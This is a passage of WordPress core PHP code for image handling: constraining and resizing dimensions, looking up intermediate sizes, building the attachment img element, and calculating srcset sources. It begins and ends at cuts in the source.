	if ( $max_width > 0 && $current_width > 0 && $current_width > $max_width ) {
		$width_ratio = $max_width / $current_width;
		$did_width   = true;
	}

	if ( $max_height > 0 && $current_height > 0 && $current_height > $max_height ) {
		$height_ratio = $max_height / $current_height;
		$did_height   = true;
	}

	// Calculate the larger/smaller ratios.
	$smaller_ratio = min( $width_ratio, $height_ratio );
	$larger_ratio  = max( $width_ratio, $height_ratio );

	if ( (int) round( $current_width * $larger_ratio ) > $max_width || (int) round( $current_height * $larger_ratio ) > $max_height ) {
		// The larger ratio is too big. It would result in an overflow.
		$ratio = $smaller_ratio;
	} else {
		// The larger ratio fits, and is likely to be a more "snug" fit.
		$ratio = $larger_ratio;
	}

	// Very small dimensions may result in 0, 1 should be the minimum.
	$w = max( 1, (int) round( $current_width * $ratio ) );
	$h = max( 1, (int) round( $current_height * $ratio ) );

	/*
	 * Sometimes, due to rounding, we'll end up with a result like this:
	 * 465x700 in a 177x177 box is 117x176... a pixel short.
	 * We also have issues with recursive calls resulting in an ever-changing result.
	 * Constraining to the result of a constraint should yield the original result.
	 * Thus we look for dimensions that are one pixel shy of the max value and bump them up.
	 */

	// Note: $did_width means it is possible $smaller_ratio == $width_ratio.
	if ( $did_width && $w === $max_width - 1 ) {
		$w = $max_width; // Round it up.
	}

	// Note: $did_height means it is possible $smaller_ratio == $height_ratio.
	if ( $did_height && $h === $max_height - 1 ) {
		$h = $max_height; // Round it up.
	}

	/**
	 * Filters dimensions to constrain down-sampled images to.
	 *
	 * @since 4.1.0
	 *
	 * @param int[] $dimensions     {
	 *     An array of width and height values.
	 *
	 *     @type int $0 The width in pixels.
	 *     @type int $1 The height in pixels.
	 * }
	 * @param int   $current_width  The current width of the image.
	 * @param int   $current_height The current height of the image.
	 * @param int   $max_width      The maximum width permitted.
	 * @param int   $max_height     The maximum height permitted.
	 */
	return apply_filters( 'wp_constrain_dimensions', array( $w, $h ), $current_width, $current_height, $max_width, $max_height );
}

/**
 * Retrieves calculated resize dimensions for use in WP_Image_Editor.
 *
 * Calculates dimensions and coordinates for a resized image that fits
 * within a specified width and height.
 *
 * @since 2.5.0
 *
 * @param int        $orig_w Original width in pixels.
 * @param int        $orig_h Original height in pixels.
 * @param int        $dest_w New width in pixels.
 * @param int        $dest_h New height in pixels.
 * @param bool|array $crop   {
 *     Optional. Image cropping behavior. If false, the image will be scaled (default).
 *     If true, image will be cropped to the specified dimensions using center positions.
 *     If an array, the image will be cropped using the array to specify the crop location:
 *
 *     @type string $0 The x crop position. Accepts 'left' 'center', or 'right'.
 *     @type string $1 The y crop position. Accepts 'top', 'center', or 'bottom'.
 * }
 * @return array|false Returned array matches parameters for `imagecopyresampled()`. False on failure.
 */
function image_resize_dimensions( $orig_w, $orig_h, $dest_w, $dest_h, $crop = false ) {

	if ( $orig_w <= 0 || $orig_h <= 0 ) {
		return false;
	}
	// At least one of $dest_w or $dest_h must be specific.
	if ( $dest_w <= 0 && $dest_h <= 0 ) {
		return false;
	}

	/**
	 * Filters whether to preempt calculating the image resize dimensions.
	 *
	 * Returning a non-null value from the filter will effectively short-circuit
	 * image_resize_dimensions(), returning that value instead.
	 *
	 * @since 3.4.0
	 *
	 * @param null|mixed $null   Whether to preempt output of the resize dimensions.
	 * @param int        $orig_w Original width in pixels.
	 * @param int        $orig_h Original height in pixels.
	 * @param int        $dest_w New width in pixels.
	 * @param int        $dest_h New height in pixels.
	 * @param bool|array $crop   Whether to crop image to specified width and height or resize.
	 *                           An array can specify positioning of the crop area. Default false.
	 */
	$output = apply_filters( 'image_resize_dimensions', null, $orig_w, $orig_h, $dest_w, $dest_h, $crop );

	if ( null !== $output ) {
		return $output;
	}

	// Stop if the destination size is larger than the original image dimensions.
	if ( empty( $dest_h ) ) {
		if ( $orig_w < $dest_w ) {
			return false;
		}
	} elseif ( empty( $dest_w ) ) {
		if ( $orig_h < $dest_h ) {
			return false;
		}
	} else {
		if ( $orig_w < $dest_w && $orig_h < $dest_h ) {
			return false;
		}
	}

	if ( $crop ) {
		/*
		 * Crop the largest possible portion of the original image that we can size to $dest_w x $dest_h.
		 * Note that the requested crop dimensions are used as a maximum bounding box for the original image.
		 * If the original image's width or height is less than the requested width or height
		 * only the greater one will be cropped.
		 * For example when the original image is 600x300, and the requested crop dimensions are 400x400,
		 * the resulting image will be 400x300.
		 */
		$aspect_ratio = $orig_w / $orig_h;
		$new_w        = min( $dest_w, $orig_w );
		$new_h        = min( $dest_h, $orig_h );

		if ( ! $new_w ) {
			$new_w = (int) round( $new_h * $aspect_ratio );
		}

		if ( ! $new_h ) {
			$new_h = (int) round( $new_w / $aspect_ratio );
		}

		$size_ratio = max( $new_w / $orig_w, $new_h / $orig_h );

		$crop_w = round( $new_w / $size_ratio );
		$crop_h = round( $new_h / $size_ratio );

		if ( ! is_array( $crop ) || count( $crop ) !== 2 ) {
			$crop = array( 'center', 'center' );
		}

		list( $x, $y ) = $crop;

		if ( 'left' === $x ) {
			$s_x = 0;
		} elseif ( 'right' === $x ) {
			$s_x = $orig_w - $crop_w;
		} else {
			$s_x = floor( ( $orig_w - $crop_w ) / 2 );
		}

		if ( 'top' === $y ) {
			$s_y = 0;
		} elseif ( 'bottom' === $y ) {
			$s_y = $orig_h - $crop_h;
		} else {
			$s_y = floor( ( $orig_h - $crop_h ) / 2 );
		}
	} else {
		// Resize using $dest_w x $dest_h as a maximum bounding box.
		$crop_w = $orig_w;
		$crop_h = $orig_h;

		$s_x = 0;
		$s_y = 0;

		list( $new_w, $new_h ) = wp_constrain_dimensions( $orig_w, $orig_h, $dest_w, $dest_h );
	}

	if ( wp_fuzzy_number_match( $new_w, $orig_w ) && wp_fuzzy_number_match( $new_h, $orig_h ) ) {
		// The new size has virtually the same dimensions as the original image.

		/**
		 * Filters whether to proceed with making an image sub-size with identical dimensions
		 * with the original/source image. Differences of 1px may be due to rounding and are ignored.
		 *
		 * @since 5.3.0
		 *
		 * @param bool $proceed The filtered value.
		 * @param int  $orig_w  Original image width.
		 * @param int  $orig_h  Original image height.
		 */
		$proceed = (bool) apply_filters( 'wp_image_resize_identical_dimensions', false, $orig_w, $orig_h );

		if ( ! $proceed ) {
			return false;
		}
	}

	/*
	 * The return array matches the parameters to imagecopyresampled().
	 * int dst_x, int dst_y, int src_x, int src_y, int dst_w, int dst_h, int src_w, int src_h
	 */
	return array( 0, 0, (int) $s_x, (int) $s_y, (int) $new_w, (int) $new_h, (int) $crop_w, (int) $crop_h );
}

/**
 * Resizes an image to make a thumbnail or intermediate size.
 *
 * The returned array has the file size, the image width, and image height. The
 * {@see 'image_make_intermediate_size'} filter can be used to hook in and change the
 * values of the returned array. The only parameter is the resized file path.
 *
 * @since 2.5.0
 *
 * @param string     $file   File path.
 * @param int        $width  Image width.
 * @param int        $height Image height.
 * @param bool|array $crop   {
 *     Optional. Image cropping behavior. If false, the image will be scaled (default).
 *     If true, image will be cropped to the specified dimensions using center positions.
 *     If an array, the image will be cropped using the array to specify the crop location:
 *
 *     @type string $0 The x crop position. Accepts 'left' 'center', or 'right'.
 *     @type string $1 The y crop position. Accepts 'top', 'center', or 'bottom'.
 * }
 * @return array|false Metadata array on success. False if no image was created.
 */
function image_make_intermediate_size( $file, $width, $height, $crop = false ) {
	if ( $width || $height ) {
		$editor = wp_get_image_editor( $file );

		if ( is_wp_error( $editor ) || is_wp_error( $editor->resize( $width, $height, $crop ) ) ) {
			return false;
		}

		$resized_file = $editor->save();

		if ( ! is_wp_error( $resized_file ) && $resized_file ) {
			unset( $resized_file['path'] );
			return $resized_file;
		}
	}
	return false;
}

/**
 * Helper function to test if aspect ratios for two images match.
 *
 * @since 4.6.0
 *
 * @param int $source_width  Width of the first image in pixels.
 * @param int $source_height Height of the first image in pixels.
 * @param int $target_width  Width of the second image in pixels.
 * @param int $target_height Height of the second image in pixels.
 * @return bool True if aspect ratios match within 1px. False if not.
 */
function wp_image_matches_ratio( $source_width, $source_height, $target_width, $target_height ) {
	/*
	 * To test for varying crops, we constrain the dimensions of the larger image
	 * to the dimensions of the smaller image and see if they match.
	 */
	if ( $source_width > $target_width ) {
		$constrained_size = wp_constrain_dimensions( $source_width, $source_height, $target_width );
		$expected_size    = array( $target_width, $target_height );
	} else {
		$constrained_size = wp_constrain_dimensions( $target_width, $target_height, $source_width );
		$expected_size    = array( $source_width, $source_height );
	}

	// If the image dimensions are within 1px of the expected size, we consider it a match.
	$matched = ( wp_fuzzy_number_match( $constrained_size[0], $expected_size[0] ) && wp_fuzzy_number_match( $constrained_size[1], $expected_size[1] ) );

	return $matched;
}

/**
 * Retrieves the image's intermediate size (resized) path, width, and height.
 *
 * The $size parameter can be an array with the width and height respectively.
 * If the size matches the 'sizes' metadata array for width and height, then it
 * will be used. If there is no direct match, then the nearest image size larger
 * than the specified size will be used. If nothing is found, then the function
 * will break out and return false.
 *
 * The metadata 'sizes' is used for compatible sizes that can be used for the
 * parameter $size value.
 *
 * The url path will be given, when the $size parameter is a string.
 *
 * If you are passing an array for the $size, you should consider using
 * add_image_size() so that a cropped version is generated. It's much more
 * efficient than having to find the closest-sized image and then having the
 * browser scale down the image.
 *
 * @since 2.5.0
 *
 * @param int          $post_id Attachment ID.
 * @param string|int[] $size    Optional. Image size. Accepts any registered image size name, or an array
 *                              of width and height values in pixels (in that order). Default 'thumbnail'.
 * @return array|false {
 *     Array of file relative path, width, and height on success. Additionally includes absolute
 *     path and URL if registered size is passed to `$size` parameter. False on failure.
 *
 *     @type string $file   Filename of image.
 *     @type int    $width  Width of image in pixels.
 *     @type int    $height Height of image in pixels.
 *     @type string $path   Path of image relative to uploads directory.
 *     @type string $url    URL of image.
 * }
 */
function image_get_intermediate_size( $post_id, $size = 'thumbnail' ) {
	$imagedata = wp_get_attachment_metadata( $post_id );

	if ( ! $size || ! is_array( $imagedata ) || empty( $imagedata['sizes'] ) ) {
		return false;
	}

	$data = array();

	// Find the best match when '$size' is an array.
	if ( is_array( $size ) ) {
		$candidates = array();

		if ( ! isset( $imagedata['file'] ) && isset( $imagedata['sizes']['full'] ) ) {
			$imagedata['height'] = $imagedata['sizes']['full']['height'];
			$imagedata['width']  = $imagedata['sizes']['full']['width'];
		}

		foreach ( $imagedata['sizes'] as $_size => $data ) {
			// If there's an exact match to an existing image size, short circuit.
			if ( (int) $data['width'] === (int) $size[0] && (int) $data['height'] === (int) $size[1] ) {
				$candidates[ $data['width'] * $data['height'] ] = $data;
				break;
			}

			// If it's not an exact match, consider larger sizes with the same aspect ratio.
			if ( $data['width'] >= $size[0] && $data['height'] >= $size[1] ) {
				// If '0' is passed to either size, we test ratios against the original file.
				if ( 0 === $size[0] || 0 === $size[1] ) {
					$same_ratio = wp_image_matches_ratio( $data['width'], $data['height'], $imagedata['width'], $imagedata['height'] );
				} else {
					$same_ratio = wp_image_matches_ratio( $data['width'], $data['height'], $size[0], $size[1] );
				}

				if ( $same_ratio ) {
					$candidates[ $data['width'] * $data['height'] ] = $data;
				}
			}
		}

		if ( ! empty( $candidates ) ) {
			// Sort the array by size if we have more than one candidate.
			if ( 1 < count( $candidates ) ) {
				ksort( $candidates );
			}

			$data = array_shift( $candidates );
			/*
			* When the size requested is smaller than the thumbnail dimensions, we
			* fall back to the thumbnail size to maintain backward compatibility with
			* pre 4.6 versions of WordPress.
			*/
		} elseif ( ! empty( $imagedata['sizes']['thumbnail'] ) && $imagedata['sizes']['thumbnail']['width'] >= $size[0] && $imagedata['sizes']['thumbnail']['width'] >= $size[1] ) {
			$data = $imagedata['sizes']['thumbnail'];
		} else {
			return false;
		}

		// Constrain the width and height attributes to the requested values.
		list( $data['width'], $data['height'] ) = image_constrain_size_for_editor( $data['width'], $data['height'], $size );

	} elseif ( ! empty( $imagedata['sizes'][ $size ] ) ) {
		$data = $imagedata['sizes'][ $size ];
	}

	// If we still don't have a match at this point, return false.
	if ( empty( $data ) ) {
		return false;
	}

	// Include the full filesystem path of the intermediate file.
	if ( empty( $data['path'] ) && ! empty( $data['file'] ) && ! empty( $imagedata['file'] ) ) {
		$file_url     = wp_get_attachment_url( $post_id );
		$data['path'] = path_join( dirname( $imagedata['file'] ), $data['file'] );
		$data['url']  = path_join( dirname( $file_url ), $data['file'] );
	}

	/**
	 * Filters the output of image_get_intermediate_size()
	 *
	 * @since 4.4.0
	 *
	 * @see image_get_intermediate_size()
	 *
	 * @param array        $data    Array of file relative path, width, and height on success. May also include
	 *                              file absolute path and URL.
	 * @param int          $post_id The ID of the image attachment.
	 * @param string|int[] $size    Requested image size. Can be any registered image size name, or
	 *                              an array of width and height values in pixels (in that order).
	 */
	return apply_filters( 'image_get_intermediate_size', $data, $post_id, $size );
}

/**
 * Gets the available intermediate image size names.
 *
 * @since 3.0.0
 *
 * @return string[] An array of image size names.
 */
function get_intermediate_image_sizes() {
	$default_sizes    = array( 'thumbnail', 'medium', 'medium_large', 'large' );
	$additional_sizes = wp_get_additional_image_sizes();

	if ( ! empty( $additional_sizes ) ) {
		$default_sizes = array_merge( $default_sizes, array_keys( $additional_sizes ) );
	}

	/**
	 * Filters the list of intermediate image sizes.
	 *
	 * @since 2.5.0
	 *
	 * @param string[] $default_sizes An array of intermediate image size names. Defaults
	 *                                are 'thumbnail', 'medium', 'medium_large', 'large'.
	 */
	return apply_filters( 'intermediate_image_sizes', $default_sizes );
}

/**
 * Returns a normalized list of all currently registered image sub-sizes.
 *
 * @since 5.3.0
 * @uses wp_get_additional_image_sizes()
 * @uses get_intermediate_image_sizes()
 *
 * @return array[] Associative array of arrays of image sub-size information,
 *                 keyed by image size name.
 */
function wp_get_registered_image_subsizes() {
	$additional_sizes = wp_get_additional_image_sizes();
	$all_sizes        = array();

	foreach ( get_intermediate_image_sizes() as $size_name ) {
		$size_data = array(
			'width'  => 0,
			'height' => 0,
			'crop'   => false,
		);

		if ( isset( $additional_sizes[ $size_name ]['width'] ) ) {
			// For sizes added by plugins and themes.
			$size_data['width'] = (int) $additional_sizes[ $size_name ]['width'];
		} else {
			// For default sizes set in options.
			$size_data['width'] = (int) get_option( "{$size_name}_size_w" );
		}

		if ( isset( $additional_sizes[ $size_name ]['height'] ) ) {
			$size_data['height'] = (int) $additional_sizes[ $size_name ]['height'];
		} else {
			$size_data['height'] = (int) get_option( "{$size_name}_size_h" );
		}

		if ( empty( $size_data['width'] ) && empty( $size_data['height'] ) ) {
			// This size isn't set.
			continue;
		}

		if ( isset( $additional_sizes[ $size_name ]['crop'] ) ) {
			$size_data['crop'] = $additional_sizes[ $size_name ]['crop'];
		} else {
			$size_data['crop'] = get_option( "{$size_name}_crop" );
		}

		if ( ! is_array( $size_data['crop'] ) || empty( $size_data['crop'] ) ) {
			$size_data['crop'] = (bool) $size_data['crop'];
		}

		$all_sizes[ $size_name ] = $size_data;
	}

	return $all_sizes;
}

/**
 * Retrieves an image to represent an attachment.
 *
 * @since 2.5.0
 *
 * @param int          $attachment_id Image attachment ID.
 * @param string|int[] $size          Optional. Image size. Accepts any registered image size name, or an array of
 *                                    width and height values in pixels (in that order). Default 'thumbnail'.
 * @param bool         $icon          Optional. Whether the image should fall back to a mime type icon. Default false.
 * @return array|false {
 *     Array of image data, or boolean false if no image is available.
 *
 *     @type string $0 Image source URL.
 *     @type int    $1 Image width in pixels.
 *     @type int    $2 Image height in pixels.
 *     @type bool   $3 Whether the image is a resized image.
 * }
 */
function wp_get_attachment_image_src( $attachment_id, $size = 'thumbnail', $icon = false ) {
	// Get a thumbnail or intermediate image if there is one.
	$image = image_downsize( $attachment_id, $size );
	if ( ! $image ) {
		$src = false;

		if ( $icon ) {
			$src = wp_mime_type_icon( $attachment_id, '.svg' );

			if ( $src ) {
				/** This filter is documented in wp-includes/post.php */
				$icon_dir = apply_filters( 'icon_dir', ABSPATH . WPINC . '/images/media' );

				$src_file = $icon_dir . '/' . wp_basename( $src );

				list( $width, $height ) = wp_getimagesize( $src_file );

				$ext = strtolower( substr( $src_file, -4 ) );

				if ( '.svg' === $ext ) {
					// SVG does not have true dimensions, so this assigns width and height directly.
					$width  = 48;
					$height = 64;
				} else {
					list( $width, $height ) = wp_getimagesize( $src_file );
				}
			}
		}

		if ( $src && $width && $height ) {
			$image = array( $src, $width, $height, false );
		}
	}
	/**
	 * Filters the attachment image source result.
	 *
	 * @since 4.3.0
	 *
	 * @param array|false  $image         {
	 *     Array of image data, or boolean false if no image is available.
	 *
	 *     @type string $0 Image source URL.
	 *     @type int    $1 Image width in pixels.
	 *     @type int    $2 Image height in pixels.
	 *     @type bool   $3 Whether the image is a resized image.
	 * }
	 * @param int          $attachment_id Image attachment ID.
	 * @param string|int[] $size          Requested image size. Can be any registered image size name, or
	 *                                    an array of width and height values in pixels (in that order).
	 * @param bool         $icon          Whether the image should be treated as an icon.
	 */
	return apply_filters( 'wp_get_attachment_image_src', $image, $attachment_id, $size, $icon );
}

/**
 * Gets an HTML img element representing an image attachment.
 *
 * While `$size` will accept an array, it is better to register a size with
 * add_image_size() so that a cropped version is generated. It's much more
 * efficient than having to find the closest-sized image and then having the
 * browser scale down the image.
 *
 * @since 2.5.0
 * @since 4.4.0 The `$srcset` and `$sizes` attributes were added.
 * @since 5.5.0 The `$loading` attribute was added.
 * @since 6.1.0 The `$decoding` attribute was added.
 *
 * @param int          $attachment_id Image attachment ID.
 * @param string|int[] $size          Optional. Image size. Accepts any registered image size name, or an array
 *                                    of width and height values in pixels (in that order). Default 'thumbnail'.
 * @param bool         $icon          Optional. Whether the image should be treated as an icon. Default false.
 * @param string|array $attr {
 *     Optional. Attributes for the image markup.
 *
 *     @type string       $src      Image attachment URL.
 *     @type string       $class    CSS class name or space-separated list of classes.
 *                                  Default `attachment-$size_class size-$size_class`,
 *                                  where `$size_class` is the image size being requested.
 *     @type string       $alt      Image description for the alt attribute.
 *     @type string       $srcset   The 'srcset' attribute value.
 *     @type string       $sizes    The 'sizes' attribute value.
 *     @type string|false $loading  The 'loading' attribute value. Passing a value of false
 *                                  will result in the attribute being omitted for the image.
 *                                  Defaults to 'lazy', depending on wp_lazy_loading_enabled().
 *     @type string       $decoding The 'decoding' attribute value. Possible values are
 *                                  'async' (default), 'sync', or 'auto'. Passing false or an empty
 *                                  string will result in the attribute being omitted.
 * }
 * @return string HTML img element or empty string on failure.
 */
function wp_get_attachment_image( $attachment_id, $size = 'thumbnail', $icon = false, $attr = '' ) {
	$html  = '';
	$image = wp_get_attachment_image_src( $attachment_id, $size, $icon );

	if ( $image ) {
		list( $src, $width, $height ) = $image;

		$attachment = get_post( $attachment_id );
		$hwstring   = image_hwstring( $width, $height );
		$size_class = $size;

		if ( is_array( $size_class ) ) {
			$size_class = implode( 'x', $size_class );
		}

		$default_attr = array(
			'src'   => $src,
			'class' => "attachment-$size_class size-$size_class",
			'alt'   => trim( strip_tags( get_post_meta( $attachment_id, '_wp_attachment_image_alt', true ) ) ),
		);

		/**
		 * Filters the context in which wp_get_attachment_image() is used.
		 *
		 * @since 6.3.0
		 *
		 * @param string $context The context. Default 'wp_get_attachment_image'.
		 */
		$context = apply_filters( 'wp_get_attachment_image_context', 'wp_get_attachment_image' );
		$attr    = wp_parse_args( $attr, $default_attr );

		$loading_attr              = $attr;
		$loading_attr['width']     = $width;
		$loading_attr['height']    = $height;
		$loading_optimization_attr = wp_get_loading_optimization_attributes(
			'img',
			$loading_attr,
			$context
		);

		// Add loading optimization attributes if not available.
		$attr = array_merge( $attr, $loading_optimization_attr );

		// Omit the `decoding` attribute if the value is invalid according to the spec.
		if ( empty( $attr['decoding'] ) || ! in_array( $attr['decoding'], array( 'async', 'sync', 'auto' ), true ) ) {
			unset( $attr['decoding'] );
		}

		/*
		 * If the default value of `lazy` for the `loading` attribute is overridden
		 * to omit the attribute for this image, ensure it is not included.
		 */
		if ( isset( $attr['loading'] ) && ! $attr['loading'] ) {
			unset( $attr['loading'] );
		}

		// If the `fetchpriority` attribute is overridden and set to false or an empty string.
		if ( isset( $attr['fetchpriority'] ) && ! $attr['fetchpriority'] ) {
			unset( $attr['fetchpriority'] );
		}

		// Generate 'srcset' and 'sizes' if not already present.
		if ( empty( $attr['srcset'] ) ) {
			$image_meta = wp_get_attachment_metadata( $attachment_id );

			if ( is_array( $image_meta ) ) {
				$size_array = array( absint( $width ), absint( $height ) );
				$srcset     = wp_calculate_image_srcset( $size_array, $src, $image_meta, $attachment_id );
				$sizes      = wp_calculate_image_sizes( $size_array, $src, $image_meta, $attachment_id );

				if ( $srcset && ( $sizes || ! empty( $attr['sizes'] ) ) ) {
					$attr['srcset'] = $srcset;

					if ( empty( $attr['sizes'] ) ) {
						$attr['sizes'] = $sizes;
					}
				}
			}
		}

		/**
		 * Filters the list of attachment image attributes.
		 *
		 * @since 2.8.0
		 *
		 * @param string[]     $attr       Array of attribute values for the image markup, keyed by attribute name.
		 *                                 See wp_get_attachment_image().
		 * @param WP_Post      $attachment Image attachment post.
		 * @param string|int[] $size       Requested image size. Can be any registered image size name, or
		 *                                 an array of width and height values in pixels (in that order).
		 */
		$attr = apply_filters( 'wp_get_attachment_image_attributes', $attr, $attachment, $size );

		$attr = array_map( 'esc_attr', $attr );
		$html = rtrim( "<img $hwstring" );

		foreach ( $attr as $name => $value ) {
			$html .= " $name=" . '"' . $value . '"';
		}

		$html .= ' />';
	}

	/**
	 * Filters the HTML img element representing an image attachment.
	 *
	 * @since 5.6.0
	 *
	 * @param string       $html          HTML img element or empty string on failure.
	 * @param int          $attachment_id Image attachment ID.
	 * @param string|int[] $size          Requested image size. Can be any registered image size name, or
	 *                                    an array of width and height values in pixels (in that order).
	 * @param bool         $icon          Whether the image should be treated as an icon.
	 * @param string[]     $attr          Array of attribute values for the image markup, keyed by attribute name.
	 *                                    See wp_get_attachment_image().
	 */
	return apply_filters( 'wp_get_attachment_image', $html, $attachment_id, $size, $icon, $attr );
}

/**
 * Gets the URL of an image attachment.
 *
 * @since 4.4.0
 *
 * @param int          $attachment_id Image attachment ID.
 * @param string|int[] $size          Optional. Image size. Accepts any registered image size name, or an array of
 *                                    width and height values in pixels (in that order). Default 'thumbnail'.
 * @param bool         $icon          Optional. Whether the image should be treated as an icon. Default false.
 * @return string|false Attachment URL or false if no image is available. If `$size` does not match
 *                      any registered image size, the original image URL will be returned.
 */
function wp_get_attachment_image_url( $attachment_id, $size = 'thumbnail', $icon = false ) {
	$image = wp_get_attachment_image_src( $attachment_id, $size, $icon );
	return isset( $image[0] ) ? $image[0] : false;
}

/**
 * Gets the attachment path relative to the upload directory.
 *
 * @since 4.4.1
 * @access private
 *
 * @param string $file Attachment file name.
 * @return string Attachment path relative to the upload directory.
 */
function _wp_get_attachment_relative_path( $file ) {
	$dirname = dirname( $file );

	if ( '.' === $dirname ) {
		return '';
	}

	if ( str_contains( $dirname, 'wp-content/uploads' ) ) {
		// Get the directory name relative to the upload directory (back compat for pre-2.7 uploads).
		$dirname = substr( $dirname, strpos( $dirname, 'wp-content/uploads' ) + 18 );
		$dirname = ltrim( $dirname, '/' );
	}

	return $dirname;
}

/**
 * Gets the image size as array from its meta data.
 *
 * Used for responsive images.
 *
 * @since 4.4.0
 * @access private
 *
 * @param string $size_name  Image size. Accepts any registered image size name.
 * @param array  $image_meta The image meta data.
 * @return array|false {
 *     Array of width and height or false if the size isn't present in the meta data.
 *
 *     @type int $0 Image width.
 *     @type int $1 Image height.
 * }
 */
function _wp_get_image_size_from_meta( $size_name, $image_meta ) {
	if ( 'full' === $size_name ) {
		return array(
			absint( $image_meta['width'] ),
			absint( $image_meta['height'] ),
		);
	} elseif ( ! empty( $image_meta['sizes'][ $size_name ] ) ) {
		return array(
			absint( $image_meta['sizes'][ $size_name ]['width'] ),
			absint( $image_meta['sizes'][ $size_name ]['height'] ),
		);
	}

	return false;
}

/**
 * Retrieves the value for an image attachment's 'srcset' attribute.
 *
 * @since 4.4.0
 *
 * @see wp_calculate_image_srcset()
 *
 * @param int          $attachment_id Image attachment ID.
 * @param string|int[] $size          Optional. Image size. Accepts any registered image size name, or an array of
 *                                    width and height values in pixels (in that order). Default 'medium'.
 * @param array|null   $image_meta    Optional. The image meta data as returned by 'wp_get_attachment_metadata()'.
 *                                    Default null.
 * @return string|false A 'srcset' value string or false.
 */
function wp_get_attachment_image_srcset( $attachment_id, $size = 'medium', $image_meta = null ) {
	$image = wp_get_attachment_image_src( $attachment_id, $size );

	if ( ! $image ) {
		return false;
	}

	if ( ! is_array( $image_meta ) ) {
		$image_meta = wp_get_attachment_metadata( $attachment_id );
	}

	$image_src  = $image[0];
	$size_array = array(
		absint( $image[1] ),
		absint( $image[2] ),
	);

	return wp_calculate_image_srcset( $size_array, $image_src, $image_meta, $attachment_id );
}

/**
 * A helper function to calculate the image sources to include in a 'srcset' attribute.
 *
 * @since 4.4.0
 *
 * @param int[]  $size_array    {
 *     An array of width and height values.
 *
 *     @type int $0 The width in pixels.
 *     @type int $1 The height in pixels.
 * }
 * @param string $image_src     The 'src' of the image.
 * @param array  $image_meta    The image meta data as returned by 'wp_get_attachment_metadata()'.
 * @param int    $attachment_id Optional. The image attachment ID. Default 0.
 * @return string|false The 'srcset' attribute value. False on error or when only one source exists.
 */
function wp_calculate_image_srcset( $size_array, $image_src, $image_meta, $attachment_id = 0 ) {
	/**
	 * Pre-filters the image meta to be able to fix inconsistencies in the stored data.
	 *
	 * @since 4.5.0
	 *
	 * @param array  $image_meta    The image meta data as returned by 'wp_get_attachment_metadata()'.
	 * @param int[]  $size_array    {
	 *     An array of requested width and height values.
	 *
	 *     @type int $0 The width in pixels.
	 *     @type int $1 The height in pixels.
	 * }
	 * @param string $image_src     The 'src' of the image.
	 * @param int    $attachment_id The image attachment ID or 0 if not supplied.
	 */
	$image_meta = apply_filters( 'wp_calculate_image_srcset_meta', $image_meta, $size_array, $image_src, $attachment_id );

	if ( empty( $image_meta['sizes'] ) || ! isset( $image_meta['file'] ) || strlen( $image_meta['file'] ) < 4 ) {
		return false;
	}

	$image_sizes = $image_meta['sizes'];

	// Get the width and height of the image.
	$image_width  = (int) $size_array[0];
	$image_height = (int) $size_array[1];

	// Bail early if error/no width.
	if ( $image_width < 1 ) {
		return false;
	}

	$image_basename = wp_basename( $image_meta['file'] );

	/*
	 * WordPress flattens animated GIFs into one frame when generating intermediate sizes.
	 * To avoid hiding animation in user content, if src is a full size GIF, a srcset attribute is not generated.
	 * If src is an intermediate size GIF, the full size is excluded from srcset to keep a flattened GIF from becoming animated.
	 */
	if ( ! isset( $image_sizes['thumbnail']['mime-type'] ) || 'image/gif' !== $image_sizes['thumbnail']['mime-type'] ) {
		$image_sizes[] = array(
			'width'  => $image_meta['width'],
			'height' => $image_meta['height'],
			'file'   => $image_basename,
		);
	} elseif ( str_contains( $image_src, $image_meta['file'] ) ) {
		return false;
	}

	// Retrieve the uploads sub-directory from the full size image.
	$dirname = _wp_get_attachment_relative_path( $image_meta['file'] );

	if ( $dirname ) {
		$dirname = trailingslashit( $dirname );
	}

	$upload_dir    = wp_get_upload_dir();
	$image_baseurl = trailingslashit( $upload_dir['baseurl'] ) . $dirname;

	/*
	 * If currently on HTTPS, prefer HTTPS URLs when we know they're supported by the domain
	 * (which is to say, when they share the domain name of the current request).
	 */
	if ( is_ssl() && ! str_starts_with( $image_baseurl, 'https' ) && parse_url( $image_baseurl, PHP_URL_HOST ) === $_SERVER['HTTP_HOST'] ) {
		$image_baseurl = set_url_scheme( $image_baseurl, 'https' );
	}

	/*
	 * Images that have been edited in WordPress after being uploaded will
	 * contain a unique hash. Look for that hash and use it later to filter
	 * out images that are leftovers from previous versions.
	 */
	$image_edited = preg_match( '/-e[0-9]{13}/', wp_basename( $image_src ), $image_edit_hash );

	/**
	 * Filters the maximum image width to be included in a 'srcset' attribute.
	 *
	 * @since 4.4.0
	 *
	 * @param int   $max_width  The maximum image width to be included in the 'srcset'. Default '2048'.
	 * @param int[] $size_array {
	 *     An array of requested width and height values.
	 *
	 *     @type int $0 The width in pixels.
	 *     @type int $1 The height in pixels.
	 * }
	 */
	$max_srcset_image_width = apply_filters( 'max_srcset_image_width', 2048, $size_array );

	// Array to hold URL candidates.
	$sources = array();

	/**
	 * To make sure the ID matches our image src, we will check to see if any sizes in our attachment
	 * meta match our $image_src. If no matches are found we don't return a srcset to avoid serving
	 * an incorrect image. See #35045.
	 */
	$src_matched = false;

	/*
	 * Loop through available images. Only use images that are resized
	 * versions of the same edit.
	 */
	foreach ( $image_sizes as $image ) {
		$is_src = false;

		// Check if image meta isn't corrupted.
		if ( ! is_array( $image ) ) {
			continue;
		}

		// If the file name is part of the `src`, we've confirmed a match.
		if ( ! $src_matched && str_contains( $image_src, $dirname . $image['file'] ) ) {
			$src_matched = true;
			$is_src      = true;
		}

		// Filter out images that are from previous edits.
		if ( $image_edited && ! strpos( $image['file'], $image_edit_hash[0] ) ) {
			continue;
		}

		/*
		 * Filters out images that are wider than '$max_srcset_image_width' unless
		 * that file is in the 'src' attribute.
		 */
		if ( $max_srcset_image_width && $image['width'] > $max_srcset_image_width && ! $is_src ) {
			continue;
		}

		// If the image dimensions are within 1px of the expected size, use it.
		if ( wp_image_matches_ratio( $image_width, $image_height, $image['width'], $image['height'] ) ) {
			// Add the URL, descriptor, and value to the sources array to be returned.
			$source = array(
				'url'        => $image_baseurl . $image['file'],
				'descriptor' => 'w',
				'value'      => $image['width'],
			);

			// The 'src' image has to be the first in the 'srcset', because of a bug in iOS8. See #35030.
			if ( $is_src ) {
				$sources = array( $image['width'] => $source ) + $sources;
			} else {
				$sources[ $image['width'] ] = $source;
			}
		}
	}

	/**
	 * Filters an image's 'srcset' sources.
	 *
	 * @since 4.4.0
	 *
	 * @param array  $sources {
	 *     One or more arrays of source data to include in the 'srcset'.
	 *
	 *     @type array $width {
	 *         @type string $url        The URL of an image source.
